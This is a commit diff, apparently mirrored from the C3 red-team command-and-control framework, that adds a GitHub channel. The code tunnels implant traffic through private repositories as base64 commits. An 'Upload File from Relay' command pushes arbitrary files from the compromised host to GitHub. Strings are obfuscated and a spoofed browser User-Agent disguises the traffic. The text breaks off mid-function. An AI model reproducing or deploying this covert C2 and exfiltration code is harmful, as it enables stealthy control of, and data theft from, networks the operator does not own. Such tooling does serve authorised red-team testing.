mirror of https://github.com/infosecn1nja/C3.git
Merge branch 'github'
commit
82894c0039
|
@ -0,0 +1,14 @@
|
||||||
|
# Github Channel
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
Prior to using Github API within C3, the steps below must be taken.
|
||||||
|
1. Create a Github account
|
||||||
|
2. Generate Personal Access Token with API Permissions (repo, delete_repo)
|
||||||
|
3. Insert the generated Personal Access Token to C3 channel.
|
||||||
|
|
||||||
|
## Rate Limit
|
||||||
|
|
||||||
|
There is rate limiting implemented for Github API. Each channel instance will send GET request every 3 to 6 seconds, to receive packets from server. Multiple channels accessing one Github account can consume whole limit causing other connections to throttle. Refer to https://developer.github.com/v3/rate_limit/ for more information.
|
||||||
|
|
||||||
|
|
|
@ -19,6 +19,7 @@
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
|
||||||
|
@ -37,6 +38,7 @@
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
|
||||||
|
@ -65,6 +67,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteArray.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteArray.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteConverter.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteConverter.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteVector.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteVector.h" />
|
||||||
|
@ -72,6 +75,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
||||||
|
|
|
@ -38,6 +38,8 @@
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||||
|
@ -125,5 +127,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
|
@ -0,0 +1,136 @@
|
||||||
|
#include "Stdafx.h"
|
||||||
|
#include "Github.h"
|
||||||
|
#include "Common/FSecure/Crypto/Base64.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
FSecure::C3::Interfaces::Channels::Github::Github(ByteView arguments)
|
||||||
|
: m_inboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
, m_outboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
{
|
||||||
|
auto [GithubToken, channelName, userAgent] = arguments.Read<std::string, std::string, std::string>();
|
||||||
|
m_githubObj = FSecure::GithubApi{ GithubToken, channelName, userAgent };
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
size_t FSecure::C3::Interfaces::Channels::Github::OnSendToChannel(ByteView data)
|
||||||
|
{
|
||||||
|
// There is a cap on uploads of files >150mb at which point different APIs are required.
|
||||||
|
data = data.SubString(0, 100 * 1024 * 1024);
|
||||||
|
m_githubObj.WriteMessageToFile(m_outboundDirectionName, data);
|
||||||
|
return data.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::Github::OnReceiveFromChannel()
|
||||||
|
{
|
||||||
|
std::vector<ByteVector> ret;
|
||||||
|
for (auto& [ts, id] : m_githubObj.GetMessagesByDirection(m_inboundDirectionName))
|
||||||
|
{
|
||||||
|
ret.push_back(m_githubObj.ReadFile(id));
|
||||||
|
m_githubObj.DeleteFile(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
FSecure::ByteVector FSecure::C3::Interfaces::Channels::Github::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
UploadFile(command);
|
||||||
|
return {};
|
||||||
|
case 1:
|
||||||
|
DeleteAllFiles();
|
||||||
|
return {};
|
||||||
|
default:
|
||||||
|
return AbstractChannel::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::C3::Interfaces::Channels::Github::UploadFile(ByteView args)
|
||||||
|
{
|
||||||
|
m_githubObj.UploadFile(args.Read<std::string>());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void FSecure::C3::Interfaces::Channels::Github::DeleteAllFiles()
|
||||||
|
{
|
||||||
|
m_githubObj.DeleteAllFiles();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
const char* FSecure::C3::Interfaces::Channels::Github::GetCapability()
|
||||||
|
{
|
||||||
|
return R"_(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Input ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets for the channel"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Output ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets from the channel"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Github token",
|
||||||
|
"min": 1,
|
||||||
|
"description": "This token is what channel needs to interact with Github's API"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Repositary name",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Repositary to create for channel"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "User-Agent Header",
|
||||||
|
"min": 1,
|
||||||
|
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
|
||||||
|
"description": "The User-Agent header to set"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Upload File from Relay",
|
||||||
|
"id": 0,
|
||||||
|
"description": "Upload file from host running Relay directly to Github",
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type" : "string",
|
||||||
|
"name": "Remote Filepath",
|
||||||
|
"description" : "Path to upload."
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Remove All Files",
|
||||||
|
"id": 1,
|
||||||
|
"description": "Delete channel folder and all files within it.",
|
||||||
|
"arguments": []
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)_";
|
||||||
|
}
|
|
@ -0,0 +1,56 @@
|
||||||
|
#pragma once
|
||||||
|
#include "Common/FSecure/Github/GithubApi.h"
|
||||||
|
|
||||||
|
namespace FSecure::C3::Interfaces::Channels
|
||||||
|
{
|
||||||
|
///Implementation of the Github Channel.
|
||||||
|
struct Github : public Channel<Github>
|
||||||
|
{
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
Github(ByteView arguments);
|
||||||
|
|
||||||
|
/// Destructor
|
||||||
|
virtual ~Github() = default;
|
||||||
|
|
||||||
|
/// OnSend callback implementation.
|
||||||
|
/// @param packet data to send to Channel.
|
||||||
|
/// @returns size_t number of bytes successfully written.
|
||||||
|
size_t OnSendToChannel(ByteView packet);
|
||||||
|
|
||||||
|
/// Reads a single C3 packet from Channel.
|
||||||
|
/// @return packet retrieved from Channel.
|
||||||
|
std::vector<ByteVector> OnReceiveFromChannel();
|
||||||
|
|
||||||
|
/// Get channel capability.
|
||||||
|
/// @returns Channel capability in JSON format
|
||||||
|
static const char* GetCapability();
|
||||||
|
|
||||||
|
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
|
||||||
|
/// Set long delay otherwise Github rate limit will heavily impact channel.
|
||||||
|
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// The inbound direction name of data
|
||||||
|
std::string m_inboundDirectionName;
|
||||||
|
|
||||||
|
/// The outbound direction name, the opposite of m_inboundDirectionName
|
||||||
|
std::string m_outboundDirectionName;
|
||||||
|
|
||||||
|
/// Uploads file.
|
||||||
|
/// @param path to file to be uploaded.
|
||||||
|
void UploadFile(ByteView args);
|
||||||
|
|
||||||
|
/// Delete all files relating to the channel.
|
||||||
|
void DeleteAllFiles();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// An object encapsulating Github's API, providing methods allowing the consumer to upload and download files from Github, among other things.
|
||||||
|
FSecure::GithubApi m_githubObj;
|
||||||
|
};
|
||||||
|
}
|
|
@ -0,0 +1,310 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "GithubApi.h"
|
||||||
|
#include "Common/FSecure/CppTools/StringConversions.h"
|
||||||
|
#include "Common/FSecure/WinHttp/HttpClient.h"
|
||||||
|
#include "Common/FSecure/Crypto/Base64.h"
|
||||||
|
#include "Common/FSecure/CppTools/Utils.h"
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
|
||||||
|
using namespace FSecure::StringConversions;
|
||||||
|
using namespace FSecure::WinHttp;
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
std::wstring ToWideString(std::string const& str) {
|
||||||
|
return Convert<Utf16>(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
FSecure::GithubApi::GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent) {
|
||||||
|
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
|
||||||
|
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
|
||||||
|
|
||||||
|
|
||||||
|
std::string lowerChannelName = channelName;
|
||||||
|
std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); });
|
||||||
|
|
||||||
|
SetToken(token);
|
||||||
|
SetUserAgent(userAgent);
|
||||||
|
SetUser();
|
||||||
|
SetChannel(CreateChannel(lowerChannelName));
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::SetUser() {
|
||||||
|
std::string url = OBF("https://api.github.com/user");
|
||||||
|
json response = SendJsonRequest(url, NULL, Method::GET);
|
||||||
|
|
||||||
|
if (response.contains(OBF("login"))) {
|
||||||
|
this->m_Username = response[OBF("login")];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: bad credentials\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::SetUserAgent(std::string const& userAgent) {
|
||||||
|
this->m_UserAgent = userAgent;
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::SetToken(std::string const& token) {
|
||||||
|
this->m_Token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::SetChannel(std::string const& channelName) {
|
||||||
|
this->m_Channel = channelName;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::map<std::string, std::int64_t> FSecure::GithubApi::ListChannels() {
|
||||||
|
std::map<std::string, std::int64_t> channelMap;
|
||||||
|
std::string url = OBF("https://api.github.com/user/repos");
|
||||||
|
|
||||||
|
json response = SendJsonRequest(url, NULL, Method::GET);
|
||||||
|
|
||||||
|
for (auto& channel : response) {
|
||||||
|
std::string channelName = channel[OBF("name")];
|
||||||
|
|
||||||
|
std::int64_t cId = channel[OBF("id")];
|
||||||
|
|
||||||
|
channelMap.insert({ channelName, cId });
|
||||||
|
}
|
||||||
|
|
||||||
|
return channelMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) {
|
||||||
|
std::map<std::string, std::int64_t> channels = this->ListChannels();
|
||||||
|
std::string url;
|
||||||
|
std::string errorMsg;
|
||||||
|
json response;
|
||||||
|
|
||||||
|
if (channels.find(channelName) == channels.end())
|
||||||
|
{
|
||||||
|
url = OBF("https://api.github.com/user/repos");
|
||||||
|
|
||||||
|
json j;
|
||||||
|
j[OBF("name")] = channelName;
|
||||||
|
j[OBF("auto_init")] = true;
|
||||||
|
j[OBF("private")] = true;
|
||||||
|
|
||||||
|
response = SendJsonRequest(url, j, Method::POST);
|
||||||
|
|
||||||
|
if (response.contains(OBF("message"))) {
|
||||||
|
errorMsg = response[OBF("message")] + OBF("\n");
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: unable to create channel - ") + errorMsg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return channelName;
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSHA) {
|
||||||
|
std::string url;
|
||||||
|
json response;
|
||||||
|
std::string delimiter = OBF("!");
|
||||||
|
std::string filename;
|
||||||
|
std::string fileSHA;
|
||||||
|
std::string fileDownloadURL;
|
||||||
|
|
||||||
|
//string contains filename:sha:download_url value
|
||||||
|
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
|
||||||
|
|
||||||
|
if (fileNameSHASplit.size() > 0) {
|
||||||
|
filename = fileNameSHASplit.at(0);
|
||||||
|
fileSHA = fileNameSHASplit.at(1);
|
||||||
|
fileDownloadURL = fileNameSHASplit.at(2);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteVector content = SendHttpRequest(fileDownloadURL, "", Method::GET, true);
|
||||||
|
|
||||||
|
return content;
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename) {
|
||||||
|
std::string filename;
|
||||||
|
std::string url;
|
||||||
|
json j;
|
||||||
|
|
||||||
|
if (providedFilename.empty()) {
|
||||||
|
///Create a filename thats prefixed with message direction and suffixed
|
||||||
|
// with more granular timestamp for querying later
|
||||||
|
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
|
||||||
|
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
filename = providedFilename;
|
||||||
|
}
|
||||||
|
|
||||||
|
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel +
|
||||||
|
OBF("/contents/") + filename;
|
||||||
|
|
||||||
|
j[OBF("message")] = OBF("Initial Commit");
|
||||||
|
j[OBF("branch")] = OBF("master");
|
||||||
|
j[OBF("content")] = cppcodec::base64_rfc4648::encode(data);
|
||||||
|
|
||||||
|
json response = SendJsonRequest(url, j, Method::PUT);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::UploadFile(std::string const& path) {
|
||||||
|
std::filesystem::path filepathForUpload = path;
|
||||||
|
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
|
||||||
|
|
||||||
|
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
|
||||||
|
readFile.close();
|
||||||
|
|
||||||
|
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
|
||||||
|
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
|
||||||
|
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
|
||||||
|
|
||||||
|
WriteMessageToFile("", packet, filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::DeleteFile(std::string const& fileNameSHA) {
|
||||||
|
std::string url;
|
||||||
|
json j;
|
||||||
|
json response;
|
||||||
|
|
||||||
|
std::string delimiter = OBF("!");
|
||||||
|
std::string fileSHA;
|
||||||
|
std::string filename;
|
||||||
|
|
||||||
|
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
|
||||||
|
|
||||||
|
if (fileNameSHASplit.size() > 0) {
|
||||||
|
filename = fileNameSHASplit.at(0);
|
||||||
|
fileSHA = fileNameSHASplit.at(1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel
|
||||||
|
+ OBF("/contents/") + filename;
|
||||||
|
|
||||||
|
j[OBF("message")] = OBF("Initial Commit");
|
||||||
|
j[OBF("sha")] = fileSHA;
|
||||||
|
|
||||||
|
response = SendJsonRequest(url, j, Method::DEL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GithubApi::DeleteAllFiles() {
|
||||||
|
std::string url;
|
||||||
|
json response;
|
||||||
|
|
||||||
|
//delete repo
|
||||||
|
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") +
|
||||||
|
this->m_Channel;
|
||||||
|
|
||||||
|
response = SendJsonRequest(url, NULL, Method::DEL);
|
||||||
|
|
||||||
|
if (response.contains(OBF("message"))) {
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: unable to delete repository\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::map<std::string, std::string> FSecure::GithubApi::GetMessagesByDirection(std::string const& direction) {
|
||||||
|
std::map<std::string, std::string> messages;
|
||||||
|
json response;
|
||||||
|
std::string filename;
|
||||||
|
std::size_t found;
|
||||||
|
std::string fileSHA;
|
||||||
|
std::string fileDownloadURL;
|
||||||
|
std::string delimiter = OBF("!");
|
||||||
|
std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") +
|
||||||
|
this->m_Channel + OBF("/contents");
|
||||||
|
|
||||||
|
response = json::parse(SendHttpRequest(url, OBF("*/*"), Method::GET, true));
|
||||||
|
|
||||||
|
for (auto& match : response) {
|
||||||
|
if (match.contains(OBF("name"))) {
|
||||||
|
filename = match[OBF("name")];
|
||||||
|
fileSHA = match[OBF("sha")];
|
||||||
|
fileDownloadURL = match[OBF("download_url")];
|
||||||
|
|
||||||
|
//Search whether filename contains direction id
|
||||||
|
found = filename.find(direction);
|
||||||
|
|
||||||
|
if (found != std::string::npos) {
|
||||||
|
std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length
|
||||||
|
messages.insert({ts, filename + delimiter + fileSHA + delimiter + fileDownloadURL});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return messages;
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, FSecure::WinHttp::ContentType contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
|
||||||
|
return SendHttpRequest(host, GetContentType(contentType), data, method, setAuthorizationHeader);
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
|
||||||
|
while (true) {
|
||||||
|
HttpClient webClient(ToWideString(host), m_ProxyConfig);
|
||||||
|
HttpRequest request;
|
||||||
|
request.m_Method = method;
|
||||||
|
|
||||||
|
if (!data.empty()) {
|
||||||
|
request.SetData(contentType, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
|
||||||
|
|
||||||
|
if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header)
|
||||||
|
request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token));
|
||||||
|
}
|
||||||
|
|
||||||
|
auto resp = webClient.Request(request);
|
||||||
|
|
||||||
|
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
|
||||||
|
return resp.GetData();
|
||||||
|
}
|
||||||
|
else if (resp.GetStatusCode() == StatusCode::TooManyRequests || resp.GetStatusCode() == StatusCode::Conflict) {
|
||||||
|
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
|
||||||
|
while (true) {
|
||||||
|
HttpClient webClient(ToWideString(host), m_ProxyConfig);
|
||||||
|
HttpRequest request;
|
||||||
|
request.m_Method = method;
|
||||||
|
|
||||||
|
request.SetHeader(Header::Accept, ToWideString(acceptType));
|
||||||
|
|
||||||
|
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
|
||||||
|
|
||||||
|
if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header)
|
||||||
|
request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token));
|
||||||
|
}
|
||||||
|
|
||||||
|
auto resp = webClient.Request(request);
|
||||||
|
|
||||||
|
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
|
||||||
|
return resp.GetData();
|
||||||
|
}
|
||||||
|
else if (resp.GetStatusCode() == StatusCode::TooManyRequests) {
|
||||||
|
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
json FSecure::GithubApi::SendJsonRequest(std::string const& url, json const& data, FSecure::WinHttp::Method method) {
|
||||||
|
